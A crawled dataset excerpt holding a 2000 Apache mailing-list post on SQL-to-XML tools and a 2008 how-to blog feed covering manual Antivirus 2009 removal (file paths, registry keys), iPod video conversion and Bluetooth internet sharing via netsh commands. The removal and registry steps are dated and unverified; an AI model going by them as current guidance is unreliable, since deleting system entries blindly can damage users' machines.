text
stringlengths
454
608k
url
stringlengths
17
896
dump
stringclasses
91 values
source
stringclasses
1 value
word_count
int64
101
114k
flesch_reading_ease
float64
50
104
On Wed, 15 Mar 2000, Thomas B. Passin wrote: > > Guerry Semones asked - > > > >I know that Oracle has released code to allow one to create an XML file > >containing SQL query information, and from processing that file via a > >servlet, generate a new XML file. > > > >I'm also aware of at least one effort out there to do a similar thing > in > >open source. > > > >What solutions have folks here found that work best? > > > 1) db2xml (can be used as a servelet) > > > 2) DataJunction/xmlJunction (not a servelet, but probably callable from > a servelet) > > > Note: xmlJunction is just out and is not linked to on Datajunction's > home page yet. But keep looking - they say it will be free until > August. > > 3) Cold Fusion (not a servelet) > > > These all can convert relational data to xml files. Cocoon's got three different ways to do this. 1. SQLProcessor - DOM based, non-namespace aware 2. SQL XSP taglib - DOM based, namespace aware 3. SQLFilter (for cocoon2) - SAX based, namespace aware All three use a very naive mapping from the database to the XML file. Each column turns into an element, rows are generally wrapped inside elements, rowsets are generally wraped inside elements. Some have questioned why I don't provide support for a more complex mapping of columns to XML nodes (attributes, etc.) - my feeling is that that's a job better left to XSLT. I've said it before, though, and I'll say it again - if someone can suggest a better tagset for configuring a SQL query and mapping of the results to XML in XML than the one I'm using, I'll be happy to add another interface. It's all about choice. - donald
http://mail-archives.apache.org/mod_mbox/xml-general/200003.mbox/%3CPine.LNX.4.10.10003151437470.26268-100000@phoenix.webslingerZ.com%3E
CC-MAIN-2016-44
refinedweb
284
79.6
I've tried the following : 1) sudo apt-get install python-nltk sudo apt-get install python-tk sudo apt-get install python-numpy sudo apt-get install python-matplotlib The last 3 are just to avoid dependancy problems later. 2) I've also tried to build nltk from source. None of the two approaches over work. This is the error I get: Python 2.7.2 (default, Nov 1 2011, 23:57:57) [GCC 4.6.1] on linux3 Type "help", "copyright", "credits" or "license" for more information. >>> import nltk Traceback (most recent call last): File "<stdin>", line 1, in <module> ImportError: No module named nltk sudo easy_install pip sudo pip install -U numpy sudo pip install -U pyyaml nltk python import nltk asked 4 years ago viewed 3833 times active 1 year ago
http://superuser.com/questions/390254/problems-installing-python-nltk
CC-MAIN-2016-30
refinedweb
135
71.14
Out of the Angle Brackets In the first post in this series we gave some background to a problem the LINQ to XML design team has been working on for some time: how to easily yet efficiently work with very large XML documents.. Let's consider a real world example - Wikipedia abstract files. Wikipedia offers free copies of all content to interested users, on an immense number of topics and in several human languages. Needless to say, this requires terabytes of storage, but entries are indexed in abstract.xml files in each directory in a hierarchy arranged by language and content type. There doesn't seem to be a published schema for these abstract files, but each has the basic format: <feed><doc><title></title><url></url><abstract></abstract><links><sublink linktype="nav"><anchor></anchor><link></link></sublink><sublink linktype="nav"><anchor></anchor><link></link></sublink></links></doc>.. [lots and lots more "doc" elements].</feed> Something one might want to do with these files is to find the URLs of articles that might be interesting given information in the <title> or <abstract> elements. For example, here is a conventional LINQ to XML program that will open an abstracts file and print out the URLs of entries that contain 'Shakespeare' in the <abstract>. (If you want to run this, it would be best to copy a small subset of a real Wikipedia file such as abstract.xml -- !! I do NOT recommend clicking on this link, it's about 10 MB!! of XML, which will keep your browser busy for awhile and possibly choke up your internet connection -- to the appropriate local directory.) using System;using System.Collections.Generic;using System.Linq;using System.Xml;using System.Xml.Linq;using System.IO;namespace SimpleStreaming{ class Program { static void Main(string[] args) { XElement abstracts = XElement.Load(@"abstract.xml"); IEnumerable<string> bardQuotes = from el in abstracts.Elements() where el.Element("abstract").Value .Contains("Shakespeare") select (string)el.Element("url"); foreach (string str in bardQuotes) { Console.WriteLine(str); } } }} Note that this is a typical LINQ to XML program - we query over the top level elements in the tree of abstracts for those which contain an <abstract> subelement with a value that contains the string "Shakespeare", then print out the values of the <url> subelements. Of course, actually running this program with a multi-megabyte input file will consume a lot of time and memory; it would be more efficient to query over a stream of top level elements in the raw file of abstracts, and perform the very same LINQ subqueries (and transformations, etc.) that are possible when querying over an XElement tree in memory. As noted in the earlier post, we did not manage to find a design that would do this in a generic, discoverable, easy to use, yet efficient way. Instead, we hope to teach you how to do this in a custom, understandable, easy to use, and efficient way... with just a bit of code you can tailor to your particular data formats and use cases. In other words, to abuse the old cliche, rather than giving you a streaming class and feeding you for a day, we'll teach you to stream and let you feed yourself for a lifetime. [groan] But seriously folks, with just a little bit of learning about the XmlReader and some powerful features of C# and .NET, you can extend LINQ to XML to process huge quantities of XML almost as efficiently as you can with pure XmlReader code, but in a way that any LINQ developer can exploit without knowing the implementation details. The key is to write a custom axis method that functions much like the built-in axes such as Elements(), Attributes(), etc. but operates over a specific type of XML data. An axis method typically returns a collection such as IEnumerable<XElement>. In the example here, we read over the stream with the XmlReader's ReadFrom method, and return the collection by using yield return. This provides the deferred execution semantics necessary to make the custom axis method work well with huge data sources, but allows the application program to use ordinary LINQ to XML classes and methods to filter and transform the results. Specifically, we will modify only a couple of lines in the application: XElement abstracts = XElement.Load(@"abstract.xml"); goes away, because we do not want to load the big data source into an XElement tree. Let's replace it with a simple reference to a big data source: string inputUrl = @; Next, from el in abstracts.Elements() morphs into a call to the custom axis method we are going to write, passing the URL of the data to process and the element name that we expect to stream over: from el in SimpleStreamAxis(inputUrl, "doc") Writing the custom axis method is a bit tricker (but not as scary as the name might sound), and requires only a bare minimum of knowledge about the XmlReader class (and Intellisense will help with that). The key steps are to: a) create a reader over the inputUrl file: using (XmlReader reader = XmlReader.Create(inputUrl)) b) move to the content of the file and start reading: reader.MoveToContent(); while (reader.Read()) c) Pay attention only to XML element content (ignore processing instructions, comments, whitespace, etc. for simplicity ... especially since the Wikipedia files don't contain this stuff): switch (reader.NodeType) { case XmlNodeType.Element: d) If the element has the name that we were told to stream over, read that content into an XElement object and yield return it: if (reader.Name == matchName) { XElement el = XElement.ReadFrom(reader) as XElement; if (el != null) yield return el; } break;e) Close the XmlReader when we're done. reader.Close(); That's not so hard is it? The simple example program is now: using System;using System.Collections.Generic;using System.Linq;using System.Xml;using System.Xml.Linq;using System.IO;namespace SimpleStreaming{ class Program { static IEnumerable<XElement> SimpleStreamAxis( string inputUrl, string matchName) { using (XmlReader reader = XmlReader.Create(inputUrl)) { reader.MoveToContent(); while (reader.Read()) { switch (reader.NodeType) { case XmlNodeType.Element: if (reader.Name == matchName) { XElement el = XElement.ReadFrom(reader) as XElement; if (el != null) yield return el; } break; } } reader.Close(); } } static void Main(string[] args) { string inputUrl = @""; IEnumerable<string> bardQuotes = from el in SimpleStreamAxis(inputUrl, "doc") where el.Element("abstract").Value.Contains("Shakespeare") select (string)el.Element("url"); foreach (string str in bardQuotes) { Console.WriteLine(str); } } }} The actual results contain more than just Shakespeare quotes; feel free to add whatever logic it takes to exploit Wikipedia's conventions in a more sophisticated way. Likewise, you might wish to experiment with other LINQ to XML techniques to transform the matching elements into RSS or HTML data. Or you might wish to experiment with a more sophisticated query language, e.g. an XPath subset, rather than using the simple name matching scheme here. The possiblities are endless! We'll explore some in a bit more depth in the next installment, and address a question that the LINQ to XML design team wrestled with for a long time: How do to handle documents with a more complex structure, such as a header containing contextual data that needs to be preserved, or more deeply nested documents where you want to stream over multiple levels of the hierarchy. PingBack from I would think a simpler implementation would be: using(XmlReader reader = XmlReader.Create(inputUrl)) { while(reader.ReadToFollowing(matchName)) yield return (XElement)XElement.ReadFrom(reader); } and I would be inclined to actually turn this into an extension method on XmlReader: public static IEnumerable<XElement> StreamElements(this XmlReader reader, string matchName) and then your main would have: var bardQuotes = from el in reader.StreamElements("doc") where el.Element("abstract").Value .Contains("Shakespeare") select (string)el.Element("url"); foreach (string str in bardQuotes) Console.WriteLine(str); Thanks, those are good ideas. I agree. In most cases, XML files that need streaming are actually just a huge number of 2nd-level elements, but each of those elements would fit nicely into an XElement. More often than not, these elements even have the same name, so MKane's implementation is already quite specialized. A simple method with the signature public static IEnumerable<XElement> StreamElements (this XmlReader reader) would be fine for many cases where DOM is too fat. After all, you can still filter your stuff in the where clause. Or you could pass a filter method (quite like a where clause): StreamElements (XmlReader reader, Func<XmlReader,bool> predicate) from el in reader.StreamElements (reader => reader.Name == "doc") where el.Element ("abstract") ... In this case, the first predicate would operate on the reader (performance), while the second gets XElements (ease of use). I suppose you already tried to get the XLINQ stuff to support IQueriable instead of IEnumerable and transform XElement conditions to XmlReader conditions and got nowhere? Anyway, even with two seperate predicates this could still prove to be quite a lot easier than writing custom axis methods for every single bit of code. Of course, for parsing huge OpenXML files, we'd still have to write specialized axis methods. But including a few methods like those above (or maybe even just the one with the predicate) would be a quite good solution for many situations. btw, this should work too: public static IEnumerable<XmlReader> Where ( this XmlReader reader, Func<XmlReader,bool> predicate) while (reader.Read()) yield return reader; else reader.Skip(); reader.ReadToDescendant("feed"); from r in reader where r.NodeType == XmlNodeType.Element && r.Name == "doc" select (XElement) XElement.ReadFrom (reader) into el sorry, i was in the middle of writing when my finger fell on the enter key... here's the final snippet (though untested): Func<XmlReader, bool> predicate) { if (predicate(reader)) yield return reader; else reader.Skip(); } public static void Main() string inputUrl = @""; using (XmlReader reader = XmlReader.Create(inputUrl)) reader.ReadToDescendant("feed"); var bardQuotes = from r in reader where r.NodeType == XmlNodeType.Element && r.Name == "doc" select (XElement)XElement.ReadFrom(reader) into el where el.Element("abstract").Value.Contains("Shakespeare") select (string)el.Element("url"); foreach (var quote in bardQuotes) Console.WriteLine(quote); thinking about it, this could become rather risky, considering that 1) the user can choose to not read entire elements from the reader in the select clause (which would leave the reader in a probably unexpected position) 2) the user can apply further query expressions like "order", which is probably going to mess up everything quite a bit. an enumeration of XmlReaders that always return the same instance, only in different states does not look like such a good idea from this point of view. it might therefore be better to return an IEnumerable<XNode> in the first place. it could still look nice: the Where() method would change its yield to: yield return (XNode) XNode.ReadFrom(reader); the user code would be: var bardQuotes = from r in reader where r.NodeType == XmlNodeType.Element && r.Name == "doc" select (XElement) r where el.Element("abstract").Value.Contains("Shakespeare") select (string)el.Element("url"); note that casting r to XElement in the first select does not look very logical though. this works better with lambda syntax, where we can change names: reader.Where(r => r.NodeType == XmlNodeType.Element && r.Name == "doc") .Select(node => (XElement)node) .Where(el => el.Element("abstract").Value.Contains("Shakespeare")) .Select(el => (string)el.Element("url")); in this code it's obvious to the reader, that the select targets a node, not a reader. hm... and of course, this still works only with sibling nodes, any other navigation would still have to appear outside the from/select clause or in a custom axis method like you suggest. (but I still believe thats a minority scenario.) sorry for my inverted thinking/posting order ;-) a dirty workaround for the node/r lambda arg name problem: var bardQuotes = from node in reader where reader.NodeType == XmlNodeType.Element && reader.Name == "doc" select (XElement) node but that's maybe even worse. ok, last post for now. promise. LINQ to XML and the XML API that underpins it contained in the System.Xml.Linq namespace is essentially...
http://blogs.msdn.com/xmlteam/archive/2007/03/24/streaming-with-linq-to-xml-part-2.aspx
crawl-002
refinedweb
2,013
55.44
I was interested in knowing how to make a web page that would take a snapshot of another web page if the URL to that page was provided. I had Googled a lot for this, however all I came up with was a host of third party components. It was here on these pages that I found that you actually have a component built-in to your operating system that handles web browsing. And it so happens that this component is shipped into your VS IDE (2005) as the WebBrowser control; I mean this control wraps the functionality provided by this component. This project is probably unlike any other web project you've done before. To be precise, it not just a web project; it is also a Windows application project. Yes, and you are probably wondering how and why we need one? Wait and see. Here is the link to what actually made me think that the process of capturing an image of a web page was possible. However you'd need to carry out this project and tune it according to your needs. It is quite simple to understand. All you need is a WebBrowser control docked on to a Windows Form, and then the code below to get you started. It is almost similar to the project I had referred to, however I have made some changes to suit my needs. using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; namespace Snapshot { //This is my windows form class public partial class browserForm : Form { public browserForm() { InitializeComponent(); } //private variables for properties private string _URL; private Bitmap docImg; private bool DownloadingComplete; //this property accepts a URL. public string URL { get { return _URL; } set { _URL = value; } } //function that fetches the image and return a System.Drawing.Image //representation of it. public Image GetSnapshot() { if (_URL == null) throw new Exception("No input url given"); if (_URL.Contains("http://") == false) throw new Exception("Invalid url input. No http prefix was found"); docImg = new Bitmap(this.Width, this.Height); Control ctrl = wbCtrl; wbCtrl.Navigate(_URL); //blocking until downloading complete while (!DownloadingComplete) Application.DoEvents(); return System.Drawing.Image.FromHbitmap(docImg.GetHbitmap()); } private void wbCtrl_DocumentCompleted (object sender, WebBrowserDocumentCompletedEventArgs e) { //Actual downloading done here. //Conversion to image is also done here. DownloadingComplete = true; Debug.Print("Download Completed @ " + DateTime.Now.ToString()); docImg = new Bitmap(this.Width, this.Height); Control ctrl = wbCtrl; ctrl.DrawToBitmap(docImg, new Rectangle(wbCtrl.Location.X, wbCtrl.Location.Y, wbCtrl.Width, wbCtrl.Height)); } } } You might need to run this project a couple times; add it to another Windows project like how it is suggested in the article I've linked to. The beauty of the whole thing is, you won't actually make this form visible! After you are done with the testing, convert the project to a DLL. We are going to add this to the next project. Add the above DLL to this project. Let me warn you that if you try to use it raw at this point, you might run into a host of issues. Oh, this project is not that much of "doing" by the way. But you've to understand some concepts. Namely how the ASP.NET engine processes your web page. This is a vast topic in itself, however I will only mention a few things: Here, you have to realize that we have added a Windows project to an ASP.NET project. Most of the control, and probably the entire form itself runs on a Single Thread Apartment (STA) model. Hence you'd get an error saying something like thread not STA. To overcome this hurdle, all you've to do is set the web page's page AspCompat page attribute to true. The ASP.NET engine will at once realize that this web page has to be processed on a STA. In fact, I believe this was how ordinary ASP pages used to get processed. AspCompat true The next hurdle is something that would really bug you. Everything seems okay, but you get a weird COM exception, and a weird looking error code. Sometimes, the first time you run the application it goes smooth, but every subsequent request throws an error. Googling this error code is up to no use. You need some COM knowledge. However, I am not such an expert in this area, but I can safely tell you that you've to tell your operating system that you are done using your COM object; otherwise other applications using the same object can behave erratically. So ultimately what you've witnessed here is probably the COM not getting de-referenced properly. If you do run into such a problem, stop the local web server (that is hosted for you by the IDE), and re-start it; run the project once more within your IDE. I hope you've understood all the above. Now using the code is as simple as follows: protected void btnGenerate_Click(object sender, EventArgs e) { browserForm frm = new browserForm(); frm.URL = txtURL.Text; System.Drawing.Image snapshot; snapshot = frm.GetSnapshot(); snapshot.Save(Server.MapPath("snap.jpg"), System.Drawing.Imaging.ImageFormat.Jpeg); frm.Dispose(); Image1.ImageUrl = "snap.jpg"; } Oh, and all my web form ever had was textbox, a button and an image control. I have not carried out this exercise in a production environment. I am thinking, may be, the code needs some tuning. However if you folks want to play with this, then you are most welcome! Phew, published my first article after a decade of.
https://www.codeproject.com/articles/28589/website-snapshot
CC-MAIN-2017-09
refinedweb
930
67.04
Extract text from image and save txt file Please, My code: import os import shutil import unittest import time import sys import HTMLTestRunner click (image) # whith the name: fone.png from uuid import uuid4 folder_name = str(uuid4()) os.makedirs( with open("c:/CEx3 - ImagemCartao\ f.write( But the Sikuli show-me the error: [error] Error caused by: Traceback (most recent call last): File "C:\CEx3 - ImagemCartao\ The sikuli created the file : teste.txt but is clear!. Thank's for all Question information - Language: - English Edit question - Status: - Answered - For: - Sikuli Edit question - Assignee: - No assignee Edit question - Last query: - 2018-04-12 - Last reply: - 2018-04-12 Sorry, have you an example from my script?.. I'm starting in Sikuli.. Thank you I do not have an example of your script, I can only see, what you have posted. Where did you get the snippet then? Is it really complete or only an example? Hi Raiman this part is a example, but I tried to use!. Do you have any exemple?. my class are import os import shutil import unittest import time import sys import HTMLTestRunner from uuid import uuid4 folder_name = str(uuid4()) os.makedirs( with open("c:/CEx3 - ImagemCartao\ f.write( someRegion = selectRegion() textRead = someRegion.text() print "textRead:", textRead please read the docs. Nothing works right on it !!. Write in excel, capture the character of an image and save to a text file .. My good .. As Jython/SikuliX I cannot see, where a function image_to_string() is defined. Some imports missing?
https://answers.launchpad.net/sikuli/+question/667817
CC-MAIN-2018-17
refinedweb
251
68.26
Odoo Help Odoo is the world's easiest all-in-one management software. It includes hundreds of business apps: CRM | e-Commerce | Accounting | Inventory | PoS | Project management | MRP | etc. In HR employee, there is an active. Can i replace the active field with my field? I remove active field from hr.employee. Then i added active & inactive fields in hr.employee. But when i click incative field the employee is not hiding from the employee list/kaban view. How can i hide a employee from the main list, when i tick inactive checkbox? With the help of onchange you can achieve this. () In XML, <field name="inactive" on_change="on_change_inactive(inactive)" /> In PY file, def on_change_inactive(self, cr, uid, ids, inactive, context=None): return {'value': {'active' : not inactive}} About This Community Odoo Training Center Access to our E-learning platform and experience all Odoo Apps through learning videos, exercises and Quizz.Test it now
https://www.odoo.com/forum/help-1/question/in-hr-employee-there-is-an-active-can-i-replace-the-active-field-with-my-field-72188
CC-MAIN-2018-09
refinedweb
153
58.69
get_weather 0.0.1 get_weather: ^0.0.1 copied to clipboard A new Flutter package to fetch weather by giving city name. get_weather # A new Flutter package to fetch weather by giving city name. Getting Started # - Clone this repo - Run flutter run (remember to open simulator or connect physical device, iOS auto run additional command pod install). Current Weather # For specific documentation on the current weather API, see the OpenWeatherMap weather API docs Setup # - To Run this project properly these is the setup you must follow. - Create an instance of a WeatherModel is created using the API key from OpenWeatherMap. import 'package:get_weather/get_weather.dart'; WeatherModel weather = WeatherModel(); ... you should also specify the city name to obtain the weather details var weatherData = await weather.getCityWeather(cityName); Example output from OpenWeatherMap: { "coord": { "lon": -122.08, "lat": 37.39 }, "weather": [ { "id": 800, "main": "Clear", "description": "clear sky", "icon": "01d" } ], "base": "stations", "main": { "temp": 282.55, "feels_like": 281.86, "temp_min": 280.37, "temp_max": 284.26, "pressure": 1023, "humidity": 100 }, "visibility": 16093, "wind": { "speed": 1.5, "deg": 350 }, "clouds": { "all": 1 }, "dt": 1560350645, "sys": { "type": 1, "id": 5122, "message": 0.0139, "country": "US", "sunrise": 1560343627, "sunset": 1560396563 }, "timezone": -25200, "id": 420006353, "name": "Mountain View", "cod": 200 }.
https://pub.dev/packages/get_weather
CC-MAIN-2021-04
refinedweb
202
60.41
# Cracking Reduce Concept In Just 10 Minutes ![](https://habrastorage.org/r/w1560/webt/go/zn/zn/goznzngyjszturtcvmdtnqls_zo.png) Being a developer, I love to code especially in JavaScript. As per my experience, using reduce function is one of the toughest tasks in JS. Let me first elaborate on the Reduce concept! In Wikipedia, it has many names viz. Reduce Fold Accumulate Aggregate Compress It is a function that folds a list into any data type. It's all about breaking a structure down into a single value. It's like folding a box! With reduce, you can turn an array [1,2,3,4,5] into the number 15 by adding them all up. **How it was done in the past?** Suppose you might need a loop to fold a list into a number, you can do like this: ``` const add = (x, y) => x + y; const numbers = [1, 2, 3, 4, 5]; let total = 0; for (let i = 0; i < numbers.length; i++) { total = add(total, numbers[i]); } console.log(total); ``` However, using reduce function, you just need a loop to handle along with “add function”. The code will be like: ``` const add = (x, y) => x + y; const numbers = [1, 2, 3, 4, 5]; numbers.reduce(add); ``` See, this is how it has made easy coding! For now, pay attention to JavaScript which cannot use loops, recursion or array methods such as forEach, some, find, etc. So, only three left are map, filter and reduce. However, our work as programmers has not changed. We still need three types of functionality in our apps. -> Filtering lists -> Transforming lists -> Converting lists into data types viz. string, boolean, number, object The above challenge can be easily handled with tools filter, map and reduce. **Array.filter judges lists** What happens if you want a new list with some items removed, such as when the user searches your contact list? Hence, simply create a function that returns true or false based on its input (a predicate). ``` const isEven = (x) => x % 2 === 0; ``` Now, plug it into a filter to apply that against an entire list. ``` const numbers = [1, 2, 3, 4, 5]; numbers.filter(isEven); ``` **Array.map transforms lists** Converting lists to other lists is Front-End development in a nutshell. Therefore, the map covers much of your list work. Let's say our application calls an API for the list of users, and we need to show each user's name on the screen. Simply create a function that returns a user's name. ``` const getUserName = (user) => user.name; ``` Now, plug it into the map to run that against an entire list of the users. ``` users.map(getUserName) ``` **Array.reduce can do it for you** Array.reduce uses two parameters 1) An initial value(which is optional) If you don’t supply initial value then reduce function defaults to the list's first element. For summing plain numbers, you will write: ``` [1, 2, 3].reduce((total, current) => total + current);/source> In case, you give an initial value of zero, you will use this code: [{ age: 1 }, { age: 2 }, { age: 3 }] .reduce((total, obj) => total + obj.age, 0); ``` 2) The reducer When reduce loops over the list, it feeds below two parameters to the reducer: -> Current value: The current value is self-explanatory, just like when you use the matrix [i] in a regular loop. However, the accumulator is a computer term that sounds scary and is actually simple. -> Accumulator: When you're browsing users, how do you track their total age? You need some counter variable to keep it. That is the accumulator. It is the final value that will be reduced when finished. At each step of the cycle, it feeds the last accumulator and the current element to its reducer. What the reducer returns becomes the next accumulator. The cycle ends when the list ends and has a single reduced value. If you feel map and filter functions are not enough, you can run the game with reduce. It can do all that map and filter is doing and all other things involving loop over an array. Let's take the help of an example to calculate the age of the users. Consider users' ages to be 29,30, 31 and 32. ``` const users = [ { name: 'Mariam', age: 29 }, { name: 'Kenstar', age: 30 }, { name: 'Saransh', age: 31 }, { name: 'Geoffie', age: 32 }, ]; ``` On the other hand, map and filter can only return arrays, but we need a number! ``` users.map(?); users.filter(?); ``` If we had loops we'd just go through users and tally their ages in a counter! However, it can be easier to reduce function. ``` users.reduce((total, currentUser) => total + currentUser.age, 0); ``` Now, using console.log at each step can be the easiest way to handle above. ``` const users = [ { name: 'Mariam', age: 29 }, { name: 'Kenstar', age: 30 }, { name: 'Saransh', age: 31 }, { name: 'Geoffie', age: 32 }, ]; const reducer = (total, currentUser) => { console.log('current total:', total); console.log('currentUser:', currentUser); // just for spacing console.log('\n'); return total + currentUser.age; } users.reduce(reducer, 0); ``` Summarizing the whole code in 6 steps here: -> First, define reduce function and its 3 parameters. -> By providing the initial-value, initialize the accumulator. It will change every loop. -> Now, start looping over the given array. -> Capture the currentItem of the array for that cycle. -> It's time to call reducer with accumulator & currentItem and saving it as a new accumulator -> Lastly, the accumulator is done changing when the loop is finished and return it.
https://habr.com/ru/post/477622/
null
null
916
66.64
tag:blogger.com,1999:blog-18133789009364005202017-09-05T18:49:27.754-07:00How To make EverythingThe best and most popular place to find How To instructions,comment faire tout ce que vous avez toujours voulu faire.Serge Lopeznoreply@blogger.comBlogger12125tag:blogger.com,1999:blog-1813378900936400520.post-72160209720204362862008-12-01T12:49:00.000-08:002008-12-01T12:53:15.278-08:00How to remove Antivirus 2009The antivirus 2009 is a nasty virus and a more recent version of Antivirus 2008. Like its predecessor it will slow your system, cause unwanted popup windows<br />Don't waste your time with other methods of removal - they just don't work, and even the novice computer user can use this simple step by step method to remove the threat and avoid further infection through so called removal programs like Spy Hunter which just add to your infection troubles by adding their own spyware to your system.<br /><br /><span style="font-weight: bold;">Antivirus 2009 Removal Instructions</span><br /><br />Search and kill the following processes<br />Antivirus2009.exe, av2009.exe<br /><br /><span style="font-weight: bold;">Remove Antivirus2009 files & dlls files </span><br /><br />%UserProfile%\Desktop\Antivirus 2009.lnk<br />%UserProfile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Antivirus 2009.lnk<br />%UserProfile%\Local Settings\Temporary Internet Files\Content.IE5\S96PZM7V\winsrc[1].dll<br />%UserProfile%\Start Menu\Antivirus 2009<br />%UserProfile%\Start Menu\Antivirus 2009\Antivirus 2009.lnk<br />%UserProfile%\Start Menu\Antivirus 2009\Uninstall Antivirus 2009.lnk<br />c:\Program Files\Antivirus 2009<br />c:\Program Files\Antivirus 2009\av2009.exe<br />c:\WINDOWS\system32\ieupdates.exe<br />c:\WINDOWS\system32\scui.cpl<br />c:\WINDOWS\system32\winsrc.dll<br /><br /><span style="font-weight: bold;">Remove/Modify corrupt Registry Entries </span><br /><br />HKEY_CURRENT_USER\Software\Antivirus<br />HKEY_LOCAL_MACHINE\SOFTWARE\Antivirus<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\<br />”Antivirus” = “%ProgramFiles%\Antivirus 2009\Antvrs.exe”<br />HKEY_CURRENT_USER\Software\75319611769193918898704537500611<br />HKEY_CLASSES_ROOT\CLSID\{037C7B8A-151A-49E6-BAED-CC05FCB50328}<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{037C7B8A-151A-49E6-BAED-CC05FCB50328}<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "75319611769193918898704537500611"<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "ieupdate"<img src="" height="1" width="1" alt=""/>Serge Lopez a video to your iPod or iPhone<h2>How to Convert a video to your iPod or iPhone</h2><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 249px; height: 199px;" src="" alt="ipod_image" id="BLOGGER_PHOTO_ID_5218777728112403394" border="0" /></a><br /.<br /><br /.<br /><br />Step 1: Downloading and installing<br /><br />1. Download Videora iPod Converter : <a target="_blank" href="">Here</a><br />2. Start the installation of the software.<br />3. Check on "Run Videora iPod Converter" to launch the application.<br /><br />Please note that the formats accepted by this software are many, the mkv mpg via flv. Once the software is launched, do not be frightened by the many advertisements appearing on this software and carefully follow the following.<br /><br />Step 2: System and the first launch<br /><br />1. Select the player that fits your model.<br />2. Select as a video source on your hard drive by clicking on "Video File".<br />3. Opt for the normal mode if you want to avoid the most complex stages.<br /><br /.<br /><br />Step 3: Definition of source and destination<br /><br />1. Start by selecting the file to convert via the button "Select File."<br />2. Specify then the destination directory the line "Output Directory".<br />3. Finally Click on "Next" in the main window to move to the next step.<br /><br />This procedure is the simplest proposed Videora iPod Converter. If you want to have more leeway on the various options for conversion, you can opt for the "Power mode" or pass through the tab "Settings".<br /><br />Step 4: Choice of options<br /><br />1. Indicate the title you want to give your video.<br />2. Specify then the different quality options for your movie.<br />3. Finally Click on "Start converting" to start the process.<br /><br /.<br /><br />Step 5: Conversion and transfer<br />1. Click on "View conversion progress" to control the process.<br />2. Wait time of conversion and the addition of video to your iTunes library.<br />3. Synchronize your iPod or iPhone to load the video.<br /><br /.<br /><br /><h2>The videos on Youtube on your iPod?</h2><br /.<img src="" height="1" width="1" alt=""/>Serge Lopez To use PC internet on Nokia via BluetoothWith!!<br /><br />REQUIREMENTS<br /><br />1) a Symbian Series 60 phone with WAP 2.0 (Nokia 6600 or 7610 *only* for now) 2) an Internet Router (LAN) 3) Patience! 4) Follow this tutorial in its order GIVEN because some parts can only be done before others and vice versa.<br /><br />What to do on your phone<br /><br />1) Download the latest Nokia PC Suite for your phone. For the 6600, it has its own PC Suite which you can find on Nokia.com. For the 7610, download its own PC Suite (whatever it is) from the 7610<br />2) In your PC Suite, make a new profile/access point/WAP Connection profile (called Access Point in your phone). In the new profile here are the settings that you should change. The rest don't touch.<br />Set the name to "Bt" (no quotation marks). The capitilization of the B is necessary.<br />3) The Data Bearer should be GSM Data/HSCSD<br />4) The Dial-up number must be something, but it can be anything except nothing (make sure you put something in the field)<br />5) The User name must be a user name on your computer when you log in.<br />6) The password is the password of your username that you entered for the username. If the username has no password, MAKE AND ACTIVATE ONE (it's mandatory for this) via Control Panel --> User Accounts.<br />7) Authentication: Normal<br />8) Use PPP Compression: YES<br />9) Use Login Script: YES<br />10) Login Script. This is why you are using PC Suite and not just entering this into your phone directly, the script is complicated. Copy this DIRECTLY and make sure it's IDENTICAL to this script in your profile:<br />Code:<br />CHARMAP [windows-1252]<br />LOOP 10<br />{<br />SEND "CLIENT"+<0x0d><br />WAIT 3<br />{<br />"SERVER" OK<br />}<br />}<br />EXIT KErrNoAnswer$<br /><br />OK:<br />EXIT<br />11) Save this new Remote Connection (Access point) to your phone via PC Suite.<br />12) Download gnubox.sis from here<br />13) Install gnubox into your phone.<br /><br />You are ALMOST done with your phone settings :)... the last settings will have to be done AFTER the rest of these instructions.<br /><br />What to do on your PC<br /><br />1) Make sure you deactivate the Bluetooth COM Port that mRouter is using to connect to your phone. OR, just make sure that you stop Connection Manager from using your phone through bluetooth period- just uncheck bluetooth as a connection option there.<br />2) Go to Control Panel --> Phone and Modem Options --> Modems --> New. On the first page of the modem installation, CHECK "I will select from a list".<br />3) Choose "Communications cable between 2 Computers" from the "(Standard Modem Types)" list.<br />4) Select the COM Port to be the COM Port that your phone connects to via Bluetooth Serial Port.<br />5) Once you're done and brought back to your modems list, highlight the new modem, click "Properties", and make sure your modem is at the highest speed: 115200 bytes/second.<br />6) Now, go to Control Panel --> Network Connections. Select "Create a New Connection" from the left margin (it'll start up a wizard).<br />7) Choose "Set up an Advanced Connection", then "Next".<br />8) Choose "Accept incoming connections", then "Next".<br />9) Check the “Communications cable between two computers” modem that you creating, then "Next".<br />10) Select "Do not allow virtual private connections", then "Next".<br />11) Check the username that you select in your phone setup step 5, then click "Next".<br />12) Make sure all options are checked in the list, then highlight "Internet Protocall TCP/IP" and then click "Properties". Click "Specify TCP/IP Addresses" and input this range:<br />From: 10.0.2.2 To: 10.0.2.254. Now click OK, then Next, and then Finish the wizard. You will return to Network Connections.<br />13) If you have a connection called "Bluetooth Network" in Network Connections, right-click on it and click "Disable". It should be greyed out now.<br />14) Run cmd.exe which is found in Start Menu --> Programs/All Programs --> Accessories --> Command Prompt.<br />15) Enter these commands into cmd.exe after reading 15b.<br />Code:<br />netsh router ip nat install<br />netsh router ip nat add interface "YOUR LAN INTERFACE NAME OR NETWORK BRIDGE NAME" full<br />netsh router ip nat add interface Internal private<br />15b) -Wait for cmd.exe to load that command and then let you enter a new command. Do the same for the all of the commands.<br />-Try entering every LAN connection name IN the quotation marks and including them in the command in Network Connections until cmd.exe actually executes the command. The name that I found out that I had to input was my network bridge name which is basically its title.<br />-Internal should be spelled in the language that your computer uses!!!!<br />16) Close cmd.exe and YOU ARE DONE CONFIGURING YOUR COMPUTER!!! CONGRATS. hehehe<br /><br />BACK to your phone settings (you must only do this after configuring steps 1-13 in phone settings and all of the steps in the computer settings!!!)<br /><br />14) Run gnubox.<br />15) In gnubox, go to Options --> 2box direct --> Bluetooth. Then, select your computer once Bluetooth searches and finds it.<br />16) Make sure your computer is on and working, you followed all of the steps shown IN THE ORDER THEY WERE GIVEN IN. Go into Web/Services --> Options --> Settings 